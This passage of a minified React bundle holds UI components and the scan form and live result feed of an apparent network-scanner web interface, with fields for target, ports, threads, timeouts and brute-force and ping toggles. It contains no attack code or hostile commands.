EP=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(vP,{ref:r,className:Ee("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...n,children:[E.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:E.jsx(k7,{children:E.jsx(gM,{className:"h-4 w-4"})})}),E.jsx(D7,{children:t})]}));EP.displayName=vP.displayName;const $7=v.forwardRef(({className:e,...t},n)=>E.jsx(bP,{ref:n,className:Ee("-mx-1 my-1 h-px bg-muted",e),...t}));$7.displayName=bP.displayName;var Hh="Collapsible",[B7]=Fn(Hh),[U7,Xb]=B7(Hh),AP=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,open:r,defaultOpen:i,disabled:l,onOpenChange:c,...u}=e,[f,h]=Oa({prop:r,defaultProp:i??!1,onChange:c,caller:Hh});return E.jsx(U7,{scope:n,disabled:l,contentId:sr(),open:f,onOpenToggle:v.useCallback(()=>h(p=>!p),[h]),children:E.jsx(Ce.div,{"data-state":Qb(f),"data-disabled":l?"":void 0,...u,ref:t})})});AP.displayName=Hh;var CP="CollapsibleTrigger",_P=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,...r}=e,i=Xb(CP,n);return E.jsx(Ce.button,{type:"button","aria-controls":i.contentId,"aria-expanded":i.open||!1,"data-state":Qb(i.open),"data-disabled":i.disabled?"":void 0,disabled:i.disabled,...r,ref:t,onClick:ue(e.onClick,i.onOpenToggle)})});_P.displayName=CP;var Zb="CollapsibleContent",TP=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=Xb(Zb,e.__scopeCollapsible);return E.jsx(ln,{present:n||i.open,children:({present:l})=>E.jsx(H7,{...r,ref:t,present:l})})});TP.displayName=Zb;var H7=v.forwardRef((e,t)=>{const{__scopeCollapsible:n,present:r,children:i,...l}=e,c=Xb(Zb,n),[u,f]=v.useState(r),h=v.useRef(null),p=De(t,h),m=v.useRef(0),y=m.current,x=v.useRef(0),S=x.current,w=c.open||u,O=v.useRef(w),A=v.useRef(void 0);return v.useEffect(()=>{const _=requestAnimationFrame(()=>O.current=!1);return()=>cancelAnimationFrame(_)},[]),Ft(()=>{const _=h.current;if(_){A.current=A.current||{transitionDuration:_.style.transitionDuration,animationName:_.style.animationName},_.style.transitionDuration="0s",_.style.animationName="none";const T=_.getBoundingClientRect();m.current=T.height,x.current=T.width,O.current||(_.style.transitionDuration=A.current.transitionDuration,_.style.animationName=A.current.animationName),f(r)}},[c.open,r]),E.jsx(Ce.div,{"data-state":Qb(c.open),"data-disabled":c.disabled?"":void 0,id:c.contentId,hidden:!w,...l,ref:p,style:{"--radix-collapsible-content-height":y?`${y}px`:void 0,"--radix-collapsible-content-width":S?`${S}px`:void 0,...e.style},children:w&&i})});function Qb(e){return e?"open":"closed"}var q7=AP;const F7=q7,V7=_P,K7=TP;var Y7=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],G7=Y7.reduce((e,t)=>{const n=Rh(`Primitive.${t}`),r=v.forwardRef((i,l)=>{const{asChild:c,...u}=i,f=c?n:t;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),E.jsx(f,{...u,ref:l})});return r.displayName=`Primitive.${t}`,{...e,[t]:r}},{}),W7="Label",NP=v.forwardRef((e,t)=>E.jsx(G7.label,{...e,ref:t,onMouseDown:n=>{n.target.closest("button, input, select, textarea")||(e.onMouseDown?.(n),!n.defaultPrevented&&n.detail>1&&n.preventDefault())}}));NP.displayName=W7;var MP=NP;const X7=Dh("text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"),On=v.forwardRef(({className:e,...t},n)=>E.jsx(MP,{ref:n,className:Ee(X7(),e),...t}));On.displayName=MP.displayName;const Gl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("rounded-lg border bg-card text-card-foreground shadow-sm",e),...t}));Gl.displayName="Card";const Wl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("flex flex-col space-y-1.5 p-6",e),...t}));Wl.displayName="CardHeader";const Xl=v.forwardRef(({className:e,...t},n)=>E.jsx("h3",{ref:n,className:Ee("text-2xl font-semibold leading-none tracking-tight",e),...t}));Xl.displayName="CardTitle";const Z7=v.forwardRef(({className:e,...t},n)=>E.jsx("p",{ref:n,className:Ee("text-sm text-muted-foreground",e),...t}));Z7.displayName="CardDescription";const Zl=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("p-6 pt-0",e),...t}));Zl.displayName="CardContent";const Q7=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("flex items-center p-6 pt-0",e),...t}));Q7.displayName="CardFooter";const J7=Dh("relative w-full rounded-lg border p-4 [&>svg~*]:pl-7 [&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground",{variants:{variant:{default:"bg-background text-foreground",destructive:"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",success:"border-success/50 text-success dark:border-success [&>svg]:text-success",warning:"border-warning/50 text-warning dark:border-warning [&>svg]:text-warning"}},defaultVariants:{variant:"default"}}),jP=v.forwardRef(({className:e,variant:t,...n},r)=>E.jsx("div",{ref:r,role:"alert",className:Ee(J7({variant:t}),e),...n}));jP.displayName="Alert";const eq=v.forwardRef(({className:e,...t},n)=>E.jsx("h5",{ref:n,className:Ee("mb-1 font-medium leading-none tracking-tight",e),...t}));eq.displayName="AlertTitle";const PP=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("text-sm [&_p]:leading-relaxed",e),...t}));PP.displayName="AlertDescription";function tq({formData:e,onFormChange:t,presets:n,isRunning:r,isStopping:i,loading:l,error:c,onStart:u,onStop:f}){const{t:h,i18n:p}=xo(),[m,y]=v.useState(!1),x=(O,A)=>{t({...e,[O]:A})},S=O=>{const A=n.find(_=>_.id===O);A&&t({...e,ports:A.ports,scan_mode:A.scan_mode,thread_num:A.thread_num,timeout:A.timeout})},w=r;return E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-4",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(BA,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),h("scanTitle")]}),r?E.jsxs(or,{size:"sm",variant:"destructive",onClick:f,disabled:l||i,className:"gap-2",children:[l?E.jsx(c0,{className:"w-4 h-4 animate-spin"}):E.jsx(AB,{className:"w-4 h-4"}),h("scanStopBtn")]}):E.jsxs(or,{size:"sm",onClick:u,disabled:l||!e.host,className:"gap-2",children:[l?E.jsx(c0,{className:"w-4 h-4 animate-spin"}):E.jsx(pB,{className:"w-4 h-4"}),h("scanStartBtn")]})]}),E.jsxs(Zl,{className:"space-y-4",children:[c&&E.jsxs(jP,{variant:"destructive",children:[E.jsx(xM,{className:"h-4 w-4"}),E.jsx(PP,{children:c})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(BA,{className:"w-3.5 h-3.5"}),h("scanTarget")]}),E.jsx(Rr,{placeholder:h("scanTargetPlaceholder"),value:e.host,onChange:O=>x("host",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(nB,{className:"w-3.5 h-3.5"}),h("scanPorts")]}),E.jsx(Rr,{placeholder:"1-65535",value:e.ports,onChange:O=>x("ports",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx($B,{className:"w-3.5 h-3.5"}),h("scanPreset")]}),E.jsxs(L7,{onValueChange:S,disabled:w,children:[E.jsx(xP,{children:E.jsx(I7,{placeholder:h("scanPresetSelect")})}),E.jsx(OP,{children:n.map(O=>E.jsx(EP,{value:O.id,children:p.language==="zh"?O.name:O.name_en},O.id))})]})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(xd,{className:"w-3.5 h-3.5"}),h("scanThreads")]}),E.jsx(Rr,{type:"number",value:e.thread_num,onChange:O=>x("thread_num",parseInt(O.target.value)||600),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(wM,{className:"w-3.5 h-3.5"}),h("scanTimeout")]}),E.jsx(Rr,{type:"number",value:e.timeout,onChange:O=>x("timeout",parseInt(O.target.value)||3),disabled:w,className:"field-input-mono"})]})]}),E.jsxs(F7,{open:m,onOpenChange:y,children:[E.jsx(V7,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",disabled:w,className:"flex items-center gap-1.5 text-sm text-muted-foreground hover:text-foreground p-0 h-auto font-normal",children:[E.jsx(wB,{className:"w-4 h-4"}),E.jsx(Ch,{className:`w-4 h-4 transition-transform ${m?"rotate-180":""}`}),h("scanAdvanced")]})}),E.jsx(K7,{className:"mt-3",children:E.jsxs("div",{className:"space-y-3 p-3 sm:p-4 rounded-lg bg-muted/50 border",children:[E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-2 sm:gap-3",children:[E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx(EM,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanDisablePing")]}),E.jsx(cd,{checked:e.disable_ping,onCheckedChange:O=>x("disable_ping",O),disabled:w})]}),E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx($A,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanDisableBrute")]}),E.jsx(cd,{checked:e.disable_brute,onCheckedChange:O=>x("disable_brute",O),disabled:w})]}),E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx(yM,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanAliveOnly")]}),E.jsx(cd,{checked:e.alive_only,onCheckedChange:O=>x("alive_only",O),disabled:w})]})]}),E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(DB,{className:"w-3.5 h-3.5"}),h("scanUsername")]}),E.jsx(Rr,{value:e.username,onChange:O=>x("username",O.target.value),disabled:w,className:"field-input"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx($A,{className:"w-3.5 h-3.5"}),h("scanPassword")]}),E.jsx(Rr,{type:"password",value:e.password,onChange:O=>x("password",O.target.value),disabled:w,className:"field-input"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(F6,{className:"w-3.5 h-3.5"}),h("scanDomain")]}),E.jsx(Rr,{value:e.domain,onChange:O=>x("domain",O.target.value),disabled:w,className:"field-input"})]})]}),E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(zA,{className:"w-3.5 h-3.5"}),h("scanExcludeHosts")]}),E.jsx(Rr,{value:e.exclude_hosts,onChange:O=>x("exclude_hosts",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(zA,{className:"w-3.5 h-3.5"}),h("scanExcludePorts")]}),E.jsx(Rr,{value:e.exclude_ports,onChange:O=>x("exclude_ports",O.target.value),disabled:w,className:"field-input-mono"})]})]})]})})]})]})]})}const nq=Dh("inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground hover:bg-primary/80",secondary:"border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80",destructive:"border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80",outline:"text-foreground",host:"border-transparent bg-blue-500/10 text-blue-600 dark:text-blue-400",port:"border-transparent bg-emerald-500/10 text-emerald-600 dark:text-emerald-400",service:"border-transparent bg-amber-500/10 text-amber-600 dark:text-amber-400",vuln:"border-transparent bg-destructive/10 text-destructive"}},defaultVariants:{variant:"default"}});function ga({className:e,variant:t,...n}){return E.jsx("div",{className:Ee(nq({variant:t}),e),...n})}function rq(e,t){return v.useReducer((n,r)=>t[n][r]??n,e)}var Jb="ScrollArea",[RP]=Fn(Jb),[aq,hr]=RP(Jb),DP=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,type:r="hover",dir:i,scrollHideDelay:l=600,...c}=e,[u,f]=v.useState(null),[h,p]=v.useState(null),[m,y]=v.useState(null),[x,S]=v.useState(null),[w,O]=v.useState(null),[A,_]=v.useState(0),[T,j]=v.useState(0),[M,P]=v.useState(!1),[R,I]=v.useState(!1),B=De(t,U=>f(U)),q=Kc(i);return E.jsx(aq,{scope:n,type:r,dir:q,scrollHideDelay:l,scrollArea:u,viewport:h,onViewportChange:p,content:m,onContentChange:y,scrollbarX:x,onScrollbarXChange:S,scrollbarXEnabled:M,onScrollbarXEnabledChange:P,scrollbarY:w,onScrollbarYChange:O,scrollbarYEnabled:R,onScrollbarYEnabledChange:I,onCornerWidthChange:_,onCornerHeightChange:j,children:E.jsx(Ce.div,{dir:q,...c,ref:B,style:{position:"relative","--radix-scroll-area-corner-width":A+"px","--radix-scroll-area-corner-height":T+"px",...e.style}})})});DP.displayName=Jb;var kP="ScrollAreaViewport",LP=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,children:r,nonce:i,...l}=e,c=hr(kP,n),u=v.useRef(null),f=De(t,u,c.onViewportChange);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-scroll-area-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-scroll-area-viewport]::-webkit-scrollbar{display:none}"},nonce:i}),E.jsx(Ce.div,{"data-radix-scroll-area-viewport":"",...l,ref:f,style:{overflowX:c.scrollbarXEnabled?"scroll":"hidden",overflowY:c.scrollbarYEnabled?"scroll":"hidden",...e.style},children:E.jsx("div",{ref:c.onContentChange,style:{minWidth:"100%",display:"table"},children:r})})]})});LP.displayName=kP;var Yr="ScrollAreaScrollbar",ex=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),{onScrollbarXEnabledChange:l,onScrollbarYEnabledChange:c}=i,u=e.orientation==="horizontal";return v.useEffect(()=>(u?l(!0):c(!0),()=>{u?l(!1):c(!1)}),[u,l,c]),i.type==="hover"?E.jsx(iq,{...r,ref:t,forceMount:n}):i.type==="scroll"?E.jsx(oq,{...r,ref:t,forceMount:n}):i.type==="auto"?E.jsx(IP,{...r,ref:t,forceMount:n}):i.type==="always"?E.jsx(tx,{...r,ref:t}):null});ex.displayName=Yr;var iq=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),[l,c]=v.useState(!1);return v.useEffect(()=>{const u=i.scrollArea;let f=0;if(u){const h=()=>{window.clearTimeout(f),c(!0)},p=()=>{f=window.setTimeout(()=>c(!1),i.scrollHideDelay)};return u.addEventListener("pointerenter",h),u.addEventListener("pointerleave",p),()=>{window.clearTimeout(f),u.removeEventListener("pointerenter",h),u.removeEventListener("pointerleave",p)}}},[i.scrollArea,i.scrollHideDelay]),E.jsx(ln,{present:n||l,children:E.jsx(IP,{"data-state":l?"visible":"hidden",...r,ref:t})})}),oq=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),l=e.orientation==="horizontal",c=Fh(()=>f("SCROLL_END"),100),[u,f]=rq("hidden",{hidden:{SCROLL:"scrolling"},scrolling:{SCROLL_END:"idle",POINTER_ENTER:"interacting"},interacting:{SCROLL:"interacting",POINTER_LEAVE:"idle"},idle:{HIDE:"hidden",SCROLL:"scrolling",POINTER_ENTER:"interacting"}});return v.useEffect(()=>{if(u==="idle"){const h=window.setTimeout(()=>f("HIDE"),i.scrollHideDelay);return()=>window.clearTimeout(h)}},[u,i.scrollHideDelay,f]),v.useEffect(()=>{const h=i.viewport,p=l?"scrollLeft":"scrollTop";if(h){let m=h[p];const y=()=>{const x=h[p];m!==x&&(f("SCROLL"),c()),m=x};return h.addEventListener("scroll",y),()=>h.removeEventListener("scroll",y)}},[i.viewport,l,f,c]),E.jsx(ln,{present:n||u!=="hidden",children:E.jsx(tx,{"data-state":u==="hidden"?"hidden":"visible",...r,ref:t,onPointerEnter:ue(e.onPointerEnter,()=>f("POINTER_ENTER")),onPointerLeave:ue(e.onPointerLeave,()=>f("POINTER_LEAVE"))})})}),IP=v.forwardRef((e,t)=>{const n=hr(Yr,e.__scopeScrollArea),{forceMount:r,...i}=e,[l,c]=v.useState(!1),u=e.orientation==="horizontal",f=Fh(()=>{if(n.viewport){const h=n.viewport.offsetWidth{const{orientation:n="vertical",...r}=e,i=hr(Yr,e.__scopeScrollArea),l=v.useRef(null),c=v.useRef(0),[u,f]=v.useState({content:0,viewport:0,scrollbar:{size:0,paddingStart:0,paddingEnd:0}}),h=HP(u.viewport,u.content),p={...r,sizes:u,onSizesChange:f,hasThumb:h>0&&h<1,onThumbChange:y=>l.current=y,onThumbPointerUp:()=>c.current=0,onThumbPointerDown:y=>c.current=y};function m(y,x){return dq(y,c.current,u,x)}return n==="horizontal"?E.jsx(lq,{...p,ref:t,onThumbPositionChange:()=>{if(i.viewport&&l.current){const y=i.viewport.scrollLeft,x=xC(y,u,i.dir);l.current.style.transform=`translate3d(${x}px, 0, 0)`}},onWheelScroll:y=>{i.viewport&&(i.viewport.scrollLeft=y)},onDragScroll:y=>{i.viewport&&(i.viewport.scrollLeft=m(y,i.dir))}}):n==="vertical"?E.jsx(sq,{...p,ref:t,onThumbPositionChange:()=>{if(i.viewport&&l.current){const y=i.viewport.scrollTop,x=xC(y,u);l.current.style.transform=`translate3d(0, ${x}px, 0)`}},onWheelScroll:y=>{i.viewport&&(i.viewport.scrollTop=y)},onDragScroll:y=>{i.viewport&&(i.viewport.scrollTop=m(y))}}):null}),lq=v.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...i}=e,l=hr(Yr,e.__scopeScrollArea),[c,u]=v.useState(),f=v.useRef(null),h=De(t,f,l.onScrollbarXChange);return v.useEffect(()=>{f.current&&u(getComputedStyle(f.current))},[f]),E.jsx($P,{"data-orientation":"horizontal",...i,ref:h,sizes:n,style:{bottom:0,left:l.dir==="rtl"?"var(--radix-scroll-area-corner-width)":0,right:l.dir==="ltr"?"var(--radix-scroll-area-corner-width)":0,"--radix-scroll-area-thumb-width":qh(n)+"px",...e.style},onThumbPointerDown:p=>e.onThumbPointerDown(p.x),onDragScroll:p=>e.onDragScroll(p.x),onWheelScroll:(p,m)=>{if(l.viewport){const y=l.viewport.scrollLeft+p.deltaX;e.onWheelScroll(y),FP(y,m)&&p.preventDefault()}},onResize:()=>{f.current&&l.viewport&&c&&r({content:l.viewport.scrollWidth,viewport:l.viewport.offsetWidth,scrollbar:{size:f.current.clientWidth,paddingStart:Nd(c.paddingLeft),paddingEnd:Nd(c.paddingRight)}})}})}),sq=v.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...i}=e,l=hr(Yr,e.__scopeScrollArea),[c,u]=v.useState(),f=v.useRef(null),h=De(t,f,l.onScrollbarYChange);return v.useEffect(()=>{f.current&&u(getComputedStyle(f.current))},[f]),E.jsx($P,{"data-orientation":"vertical",...i,ref:h,sizes:n,style:{top:0,right:l.dir==="ltr"?0:void 0,left:l.dir==="rtl"?0:void 0,bottom:"var(--radix-scroll-area-corner-height)","--radix-scroll-area-thumb-height":qh(n)+"px",...e.style},onThumbPointerDown:p=>e.onThumbPointerDown(p.y),onDragScroll:p=>e.onDragScroll(p.y),onWheelScroll:(p,m)=>{if(l.viewport){const y=l.viewport.scrollTop+p.deltaY;e.onWheelScroll(y),FP(y,m)&&p.preventDefault()}},onResize:()=>{f.current&&l.viewport&&c&&r({content:l.viewport.scrollHeight,viewport:l.viewport.offsetHeight,scrollbar:{size:f.current.clientHeight,paddingStart:Nd(c.paddingTop),paddingEnd:Nd(c.paddingBottom)}})}})}),[cq,zP]=RP(Yr),$P=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,sizes:r,hasThumb:i,onThumbChange:l,onThumbPointerUp:c,onThumbPointerDown:u,onThumbPositionChange:f,onDragScroll:h,onWheelScroll:p,onResize:m,...y}=e,x=hr(Yr,n),[S,w]=v.useState(null),O=De(t,B=>w(B)),A=v.useRef(null),_=v.useRef(""),T=x.viewport,j=r.content-r.viewport,M=en(p),P=en(f),R=Fh(m,10);function I(B){if(A.current){const q=B.clientX-A.current.left,U=B.clientY-A.current.top;h({x:q,y:U})}}return v.useEffect(()=>{const B=q=>{const U=q.target;S?.contains(U)&&M(q,j)};return document.addEventListener("wheel",B,{passive:!1}),()=>document.removeEventListener("wheel",B,{passive:!1})},[T,S,j,M]),v.useEffect(P,[r,P]),Rl(S,R),Rl(x.content,R),E.jsx(cq,{scope:n,scrollbar:S,hasThumb:i,onThumbChange:en(l),onThumbPointerUp:en(c),onThumbPositionChange:P,onThumbPointerDown:en(u),children:E.jsx(Ce.div,{...y,ref:O,style:{position:"absolute",...y.style},onPointerDown:ue(e.onPointerDown,B=>{B.button===0&&(B.target.setPointerCapture(B.pointerId),A.current=S.getBoundingClientRect(),_.current=document.body.style.webkitUserSelect,document.body.style.webkitUserSelect="none",x.viewport&&(x.viewport.style.scrollBehavior="auto"),I(B))}),onPointerMove:ue(e.onPointerMove,I),onPointerUp:ue(e.onPointerUp,B=>{const q=B.target;q.hasPointerCapture(B.pointerId)&&q.releasePointerCapture(B.pointerId),document.body.style.webkitUserSelect=_.current,x.viewport&&(x.viewport.style.scrollBehavior=""),A.current=null})})})}),Td="ScrollAreaThumb",BP=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=zP(Td,e.__scopeScrollArea);return E.jsx(ln,{present:n||i.hasThumb,children:E.jsx(uq,{ref:t,...r})})}),uq=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,style:r,...i}=e,l=hr(Td,n),c=zP(Td,n),{onThumbPositionChange:u}=c,f=De(t,m=>c.onThumbChange(m)),h=v.useRef(void 0),p=Fh(()=>{h.current&&(h.current(),h.current=void 0)},100);return v.useEffect(()=>{const m=l.viewport;if(m){const y=()=>{if(p(),!h.current){const x=hq(m,u);h.current=x,u()}};return u(),m.addEventListener("scroll",y),()=>m.removeEventListener("scroll",y)}},[l.viewport,p,u]),E.jsx(Ce.div,{"data-state":c.hasThumb?"visible":"hidden",...i,ref:f,style:{width:"var(--radix-scroll-area-thumb-width)",height:"var(--radix-scroll-area-thumb-height)",...r},onPointerDownCapture:ue(e.onPointerDownCapture,m=>{const x=m.target.getBoundingClientRect(),S=m.clientX-x.left,w=m.clientY-x.top;c.onThumbPointerDown({x:S,y:w})}),onPointerUp:ue(e.onPointerUp,c.onThumbPointerUp)})});BP.displayName=Td;var nx="ScrollAreaCorner",UP=v.forwardRef((e,t)=>{const n=hr(nx,e.__scopeScrollArea),r=!!(n.scrollbarX&&n.scrollbarY);return n.type!=="scroll"&&r?E.jsx(fq,{...e,ref:t}):null});UP.displayName=nx;var fq=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,...r}=e,i=hr(nx,n),[l,c]=v.useState(0),[u,f]=v.useState(0),h=!!(l&&u);return Rl(i.scrollbarX,()=>{const p=i.scrollbarX?.offsetHeight||0;i.onCornerHeightChange(p),f(p)}),Rl(i.scrollbarY,()=>{const p=i.scrollbarY?.offsetWidth||0;i.onCornerWidthChange(p),c(p)}),h?E.jsx(Ce.div,{...r,ref:t,style:{width:l,height:u,position:"absolute",right:i.dir==="ltr"?0:void 0,left:i.dir==="rtl"?0:void 0,bottom:0,...e.style}}):null});function Nd(e){return e?parseInt(e,10):0}function HP(e,t){const n=e/t;return isNaN(n)?0:n}function qh(e){const t=HP(e.viewport,e.content),n=e.scrollbar.paddingStart+e.scrollbar.paddingEnd,r=(e.scrollbar.size-n)*t;return Math.max(r,18)}function dq(e,t,n,r="ltr"){const i=qh(n),l=i/2,c=t||l,u=i-c,f=n.scrollbar.paddingStart+c,h=n.scrollbar.size-n.scrollbar.paddingEnd-u,p=n.content-n.viewport,m=r==="ltr"?[0,p]:[p*-1,0];return qP([f,h],m)(e)}function xC(e,t,n="ltr"){const r=qh(t),i=t.scrollbar.paddingStart+t.scrollbar.paddingEnd,l=t.scrollbar.size-i,c=t.content-t.viewport,u=l-r,f=n==="ltr"?[0,c]:[c*-1,0],h=g0(e,f);return qP([0,c],[0,u])(h)}function qP(e,t){return n=>{if(e[0]===e[1]||t[0]===t[1])return t[0];const r=(t[1]-t[0])/(e[1]-e[0]);return t[0]+r*(n-e[0])}}function FP(e,t){return e>0&&e{})=>{let n={left:e.scrollLeft,top:e.scrollTop},r=0;return(function i(){const l={left:e.scrollLeft,top:e.scrollTop},c=n.left!==l.left,u=n.top!==l.top;(c||u)&&t(),n=l,r=window.requestAnimationFrame(i)})(),()=>window.cancelAnimationFrame(r)};function Fh(e,t){const n=en(e),r=v.useRef(0);return v.useEffect(()=>()=>window.clearTimeout(r.current),[]),v.useCallback(()=>{window.clearTimeout(r.current),r.current=window.setTimeout(n,t)},[n,t])}function Rl(e,t){const n=en(t);Ft(()=>{let r=0;if(e){const i=new ResizeObserver(()=>{cancelAnimationFrame(r),r=window.requestAnimationFrame(n)});return i.observe(e),()=>{window.cancelAnimationFrame(r),i.unobserve(e)}}},[e,n])}var VP=DP,pq=LP,mq=UP;const rx=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(VP,{ref:r,className:Ee("relative overflow-hidden",e),...n,children:[E.jsx(pq,{className:"h-full w-full rounded-[inherit]",children:t}),E.jsx(KP,{}),E.jsx(mq,{})]}));rx.displayName=VP.displayName;const KP=v.forwardRef(({className:e,orientation:t="vertical",...n},r)=>E.jsx(ex,{ref:r,orientation:t,className:Ee("flex touch-none select-none transition-colors",t==="vertical"&&"h-full w-2.5 border-l border-l-transparent p-[1px]",t==="horizontal"&&"h-2.5 flex-col border-t border-t-transparent p-[1px]",e),...n,children:E.jsx(BP,{className:"relative flex-1 rounded-full bg-border"})}));KP.displayName=ex.displayName;function Vh({icon:e,title:t,description:n,action:r,className:i,...l}){return E.jsxs("div",{className:Ee("flex flex-col items-center justify-center py-12 px-4 text-center",i),...l,children:[e&&E.jsx("div",{className:"mb-4 rounded-full bg-muted p-4",children:E.jsx(e,{className:"h-8 w-8 text-muted-foreground"})}),E.jsx("h3",{className:"text-lg font-medium text-foreground mb-1",children:t}),n&&E.jsx("p",{className:"text-sm text-muted-foreground max-w-sm mb-4",children:n}),r&&E.jsx("div",{className:"mt-2",children:r})]})}const YP=v.createContext(null);function vq({children:e}){const[t,n]=v.useState(!1),[r,i]=v.useState([]),l=v.useRef(null),c=v.useRef(null),u=v.useRef(!1),f=v.useRef(new Map),h=v.useRef(0),p=v.useCallback(()=>{f.current.clear(),h.current=0,i([])},[]),m=v.useCallback(()=>{if(!u.current)return;if(l.current){const O=l.current.readyState;if(O===WebSocket.OPEN||O===WebSocket.CONNECTING)return}const S=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/ws`,w=new WebSocket(S);l.current=w,w.onopen=()=>{u.current&&n(!0)},w.onclose=()=>{u.current&&(n(!1),c.current=setTimeout(()=>{u.current&&m()},3e3))},w.onerror=()=>{w.close()},w.onmessage=O=>{if(u.current)try{const A=JSON.parse(O.data);if(A.type==="scan_result"&&A.data){const _=A.data,T=A.timestamp||Date.now(),j={id:++h.current,time:new Date(T).toLocaleTimeString(),type:_.type||"info",target:_.target||"",status:_.status||""},M=`${j.type}|${j.target}`,P=f.current.get(M);if(P){const I=P.status;(I==="identified"||I==="open"||I==="")&&j.status!=="identified"&&j.status!=="open"&&j.status!==""&&f.current.set(M,{...j,id:P.id})}else f.current.set(M,j);const R=Array.from(f.current.values()).sort((I,B)=>B.id-I.id).slice(0,100);i(R)}}catch{}}},[]);v.useEffect(()=>(u.current=!0,m(),()=>{u.current=!1,c.current&&(clearTimeout(c.current),c.current=null),l.current&&(l.current.close(),l.current=null)}),[m]);const y=v.useMemo(()=>({isConnected:t,logs:r,clearLogs:p}),[t,r,p]);return E.jsx(YP.Provider,{value:y,children:e})}function ax(){const e=v.useContext(YP);if(!e)throw new Error("useLiveFeed must be used within a LiveFeedProvider");return e}const gq={host:Tb,port:_b,service:OB,vuln:Nb};function GP({compact:e=!1,showTypeLabel:t=!1}){const{t:n}=xo(),{isConnected:r,logs:i}=ax(),l=u=>{const f=u?.toLowerCase();return gq[f]||bM},c=u=>{switch(u?.toLowerCase()){case"host":return n("typeHost");case"port":return n("typePort");case"service":return 